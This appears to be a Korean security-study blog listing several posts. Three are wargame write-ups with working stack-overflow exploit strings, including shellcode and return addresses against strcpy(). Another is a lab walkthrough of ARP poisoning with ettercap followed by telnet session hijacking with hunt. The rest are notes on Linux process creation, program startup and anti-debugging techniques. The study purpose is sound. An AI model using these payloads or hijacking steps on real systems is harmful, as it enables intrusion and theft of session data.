bigbof03

bigbof03.c source code
Stack Frame
redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :

print "A"*112 + "\x33\x84\x04\x08"
Read more

bigbof02

Bigbof02.c source code

Stack Frame
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 
print "\x90"*184 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x2c\xfc\xff\xbf"
Read more

bigbof01

Bigbof.c source code 
Stack Frame
 
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 
print  "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x28\xfc\xff\xbf"
Read more

TCP session Hijacking, hunt

희생자 PC-Windows XP SP3(), 공격자 PC-Backtrack5R3(), 서버 PC-CentOS 5.3() 세 대를 같은 네트워크 대역으로 망을 구성한다. (VMware 사용)


 
 
서버 PCtelnet-server를 설치하고 telnet services를 시작한다.
telnet-server가 설치되어 있지 않다면
 
[root@localhost ~]# sudo yum install telnet-server
 
으로 설치한다. telnet-server를 구동하기 위해서는 텔넷 데몬을 사용한다는 설정이 필요하다.

/etc/xinetd.d/telnet 파일을 vi 편집기로 연다.


service telnetdisableyes로 되어 있다. 이것을 no로 편집하여 텔넷을 활성화 시킨다.
 
 
[root@localhost ~]# service xinetd restart
 
명령어도 xiniet 데몬을 재시작하여 변경한 설정을 적용시킨다.
 
서버는 희생자가 접속 할 수 있도록 adduser를 이용하여 한 명의 사용자를 추가한다. telnet은 로컬 계정으로 서비스를 제공하므로
 
[root@localhost ~]# adduser cr3denza
cr3denza이란 사용자를 추가하고
 
 
[root@localhost ~]# passwd cr3denza
명령어를 통해서 user1의 비밀번호를 설정 한다. 희생자는 cr3denza계정을 이용해서 서버로 접속을 할 것이다.
/etc/passwd 파일을 열면 cr3denza 계정이 추가된 것을 확인할 수 있다.


 
 
희생자인 Windows XP는 방금 telnet-server 설정을 마친 서버 PCtelnet 접속을 한다.
 

 
c:\> telnet 접속할IP
명령어로 Windows에서 telnet-client를 이용할 수 있다.
 
 
만약에 Windows에서 telnet-server를 구동시키고 싶다면 WIN+r을 누르고 실행창에 services.msc를 입력한다. 현재 윈도우에서 사용되고 있거나 사용 할 수 있는 service들이 있다. 이중에서 Telnet을 사용함으로 설정하면 Windowstelnet-server가 열리게 된다.


 
3번 과정에서 추가한 계정으로 접속을 한다.
 

 
Telnet-server에서 cr3denza 사용자가 로그인 한 것을 확인할 수 있다.
 

 
공격자는 희생자 PC와 서버 PC에게 ARP poisoning공격을 해서 MITM 환경을 만든다.
 
ettercap이란 툴을 사용하여 희생자PC와 서버PCARP poisoning공격과 포워딩을 바로해서 MITM 환경을 만들 수 있다.


 
 
root@bt:~# ettercap -T -M arp /192.168.0.41/ /192.168.0.40/ -i eth5
 
ettercap의 옵션을 확인해보면 -T : Terminal Mode 로 사용하겠다는 것이다. -G옵션을 주면 그래픽모드로 ettercap을 사용할 수 있다. -M : MITM Attack 이고 arp spoofing을 사용하여 바로 뒤에 나오는 /server IP/ /victim IP/에게 MITM공격을 eth5 Interface를 사용해서 하겠다는 의미다. ettercap은 역사도 깊고 여러 가지 기능을 제공하는 프로그램이다. man ettercap 명령어를 사용하여 manual page를 보면 재미있는 기능들이 많이 있다.
 
서버에 텔넷 접속 중인 희생자의 PC에서 명령어를 보내 MITM환경을 확인할 수 있다.


위의 그림은 희생자는 id라는 명령어를 telnet을 통해서 server로 보내고 서버는 id에 따른 출력물을 희생자에게 보내 희생자의 모니터에 출력된 사진이다.


 위의 그림은 공격자의 ettercap에서 MITM환경이 구성되었을 때 clientserver의 패킷을 출력해주는 모습이다. MITM 환경이 구성되었기 때문에 희생자가 보낸 id 명령어와 그에 따른 server의 결과를 볼 수 있다.
현재 MITM환경이 구성되어 있으므로 ettercap의 옵션이나 필터를 이용해서 serverclient 사이에서 발생하는 패킷들을 임의로 조작하거나 손실 시킬 수 있다.
 
hunt를 사용하여 희생자 PC와 서버 PCTCP 세션을 탈취 한다.
MITM 환경이 구성 되었으니 이제 위의 세션하이재킹의 원리를 이용하는 툴을 사용하여 세션하이재킹 공격을 할 수 있다.(새로운 터미널을 열어야한다.)
 
먼저 hunt를 설치한다.
root@bt:~# sudo apt-get install hunt
 
설치된 hunt를 실행한다.
root@bt:~# hunt -i eth5


 
주석 모양 출력에 multipurpose connection intruder / sniffer for linux를 보아 침입 기능과 도청 기능이 있음을 알 수 있다.
먼저 hunt의 메뉴들에 대해 알아보자.
 
l - 현재 hunt가 탐지한 TCP connections을 출력해준다.
u - 현재 네트워크에 있는 호스트들을 탐지한다.
a - session hijacking 공격을 수행한다. (ack storm을 피해기 위해 arp poisoning을 사용할 수 있다.)
d - rst/arp/sniif/mac 데몬을 실행하고 설정할 수 있다.
o - 옵션
 
지금 l을 누르면 no connections are available 이라는 에러가 발생할 것이다. 이 에러는 서브넷에서 telnet 패킷이 발생하지 않았기 때문에 hunt에서 어떤 세션도 탐지하지 못하였기 때문이다. 희생자가 서버로 명령어를 보내 telnet패킷을 발생시키면 현재 희생자와 서버가 맺고 있는 세션을 확인할 수 있다.
 

 
희생자(192.168.0.40)이 서버(192.168.0.41)23번 포트로 연결을 맺고 있다.
hunt에서 희생자와 서버의 연결을 인식 했다는 것은 희생자와 서버사이의 패킷을 스니핑하고 분석까지 다 되었다는 것이다.
 
ettercap을 사용하여 arp poisoning공격과 MITM공격을 모두 완료한 상태이므로 바로 세션하이재킹 공격을 할 수 있다.



*>s
simple hijacking을 선택 한다.
0) 192.168.0.40 [xxxx] --> 192.168.0.41 [23]
choose conn> 0
0 번째 연결인 희생자와 서버간의 텔넷 연결을 선택한다.
 
dump connection y/n [n]> n
연결을 덤프할 필요가 없으니 n을 선택해 덤프하지 않도록 한다.
 
Enter the command string you wish executed or [cr]>
이제 명령어를 입력해서 희생자와 서버의 텔넷 세션을 훔쳐올 수 있다.
 
희생자만이 볼 수 있었던 secret.txt파일을 훔쳐 볼 수 있었다.
 
*ettercap이 실행되고 있는 터미널과 hunt로 공격중인 터미널이 모두 띄워져 있어야한다. ettercap을 사용하지 않고 hunta 메뉴로도 MITM공격이 가능하다.
Read more

linux process 생성

linux에서는 fork(), vfork(), clone() 시스템 콜로 자식 프로세스를 생성 할 수 있다.


fork, vfork, clone 모두 do_fork()를 호출한다.
fork, vfork, clone 모두 인터럽트를 이용해서 커널의 sys_fork, sys_clone, sys_vfork를 호출하고 이 세 함수 모두 특정 플래그를 첫번째 인자로 넘겨 결국엔 do_fork()를 호출한다.

세번 째 인자인 pt_regs는 커널스택의 레지스터값이고 스택에도 pt_regs구조체에 맞게 레지스터 값이 들어간다.(pt_regs는 윈도우즈 context구조체같이 레지스터값들을 변수로 갖고있다)

do_fork()함수는 부모 프로세스로부터 clone_flags값에 따라 여러 자원들을 복사하는 일을하고 실제 처리는 copy_process()에서 일어난다.

long do_fork(unsigned long clone_flags,
                    unsigned long stack_start,
                    struct pt_regs *regs,
                    unsigned long stack_size,
                    int __user *parent_tidptr,
                    int __user *child_tidptr)

fork, vfork, clone 모두 부모 프로세스와 동일한 프로세스를 자식 프로세스로 생성하였다.
execve 는 사용하던 공간을 해제하고 새로운 공간에 다른 프로세스를 로드하고 실행한다.

커널안에 sye_execve()로 정의되어 있는 execve() 는 do_execve()를 호출한다. do_fork()처럼 커널 스택의 pt_regs의 주소를 인자로 넘겨준다. do_execve()도 여러 자원을 복사해두고 바이너리 로더를 하나하나 테스트한다.
* exe*()함수 전부 execve시스템콜 호출

elf파일은 elf 바이너리 로더를 사용하고 elf_load_binary()함수를 통해서 바이너리를 로딩한다.

elf_load_binary()함수의 개요
1. 헤더 체크
2. 프로그램 헤더를 읽는다.
3. 파일 디스크립터 구조체의 공유를 중지 - unshare_files()
4. ELF 헤더에서 인터프리터가 지정되어 있을 경우 대상파일을 오픈하고 헤더체크
5. 새 프로그램을 로드하기 위한 준비 - flush_old_exec()
6. 실행 파일등을 스택에 매핑 - setup_arg_pages()
7. 헤더에 따라 elf_map함수를 호출해 프로그램 매핑
8. 인터프리터 지정시 매핑 - load_elf_interp()
9. 프로그램 실행할 때 레지스터(pt_regs)초기화.


리눅스의 bash도 위의 fork와 execve를 사용하여 명령어를 실행한다.

기본적으로 bash는 무한루프를 돌면서 사용자의 입력을 기다리고 있는다.
사용자가 명령어를 입력하면 fork()를 이용하여 bash 자신과 똑같은 자식프로세스를 하나 생성한다.
fork()의 return 값에 따라 부모는 자식 프로세스가 끝날 때까지 기다리는 루틴으로 진입하고 자식프로세스는 execve(사용자의입력)를 호출하게된다.
execve()가 호출되면서 bash 자식프로세스는 메모리에서 내려가고 execve()함수에 의해서 사용자의입력 프로그램이 새롭게 메모리에 올라가게된다.
bash 자식 프로세스가 죽었으니 bash 부모 프로세스는 다시 사용자의 입력을 기다리게된다.
이런식으로 명령어를 실행하게 된다.


참고문헌 : 리눅스커널2.6구조와원리
Read more

_start, __libc_start_main, main

_start, __libc_start_main, main

hello를 출력하는 hello



C언어로 작성한 간단한 elf파일의 헤더를 보면 실행파일의 시작주소값인 Entry point address에 _start 의 주소가 들어있는가 있다. 프로그램을 실행하면 _start함수부터 실행이 될것이다. 따라가보장

그 전에 _start함수가 호출되기 전의 스택에는 hello의 argc, argv, env값이 들어가있다.(커널이 구성한다.)


_start함수는 그냥 인자(argv, argc,..)들을 스택에 넣어주고 __libc_start_main을 호출
(gdb로 따라가다보면 __libc_start_main를 처음 호출하는거라 바로 호출안하고 plt에서 got쓰는 다이나믹 링킹하고 호출)

int __libc_start_main(  int (*main) (int, char * *, char * *),
          int argc, char * * ubp_av,
          void (*init) (void),
          void (*fini) (void),
          void (*rtld_fini) (void),
          void (* stack_end));


env.
__libc_csu_init 호출


_init 호출


gmon 프로파일링 시스템초기화를 위한 call_gmon_start호출(필요하다면) 
익셉션 처리를 위한 unwinding stack을 설정하기 위해 frame_dummy를 호출 
생성자를 호출하는 __do_global_ctors_aux를 호출
(생성자가 코딩되어있으면 __do_global_ctors_aux안에서 호출)


__libc_start_main으로 돌아와서 main 함수 호출, hello 출력하고
exit호출, 소멸자 있으면 exit에서 소멸자 호출.



Read more

ANTI DEBUG 기법들(종명이형 강의 간단정리)

ANTI DEBUG
1. snapshot
     process context snapshot

2. checksum

3. packing
     section 권한 체크
     *virtualprotect - 권한 변경 함수
     암호화
     EP는 암호화를 푸는 루틴, 암호화 푸는 루틴이 실행되면서 암호화가 풀리면서 진짜 코드가
     쓰기, 실행가능한 영역에 써짐, 복호화된 코드의 시작이 OEP, 프로그램 실행!

4. garbage code
     prefix, code에 공백등 넣어서 디버거가 파싱하지 못하도록!

5. SEH
     강제로 exception 발생시켜 SEH에 정상루틴처리, 디버거가 물려있으면 SEH루틴 확인을 하기 힘듬

6. PEB
     InDebuggerPresent, FS[30]이용해서 디버거 물려있는지 확인

7. 난독화
     code 난독화로 해석하기 힘들게함

8. Time check (CPU clock check)

9. CC
     디버거의 특성을 이용해서 CC를 복사하는지 확인

10. 가상화
     가상으로 CPU를 만드는 개념
     55/8b ec를 push ebp, mov esp, ebp로 해석하지만 가상 cpu를 만들어서
     예를들면 66/92 d3를 push ebp, mov esp, ebp로 해석하도록 함

11. Control flow 난독화
     check값에 맞는 opcode를 수행, check++등을 이용해서 다음 opcode로 이동
     check 값을 전역변수로 놓으면 찾기 힘듬

*더미다는 10, 11을 기반으로 만들어진 패커
Read more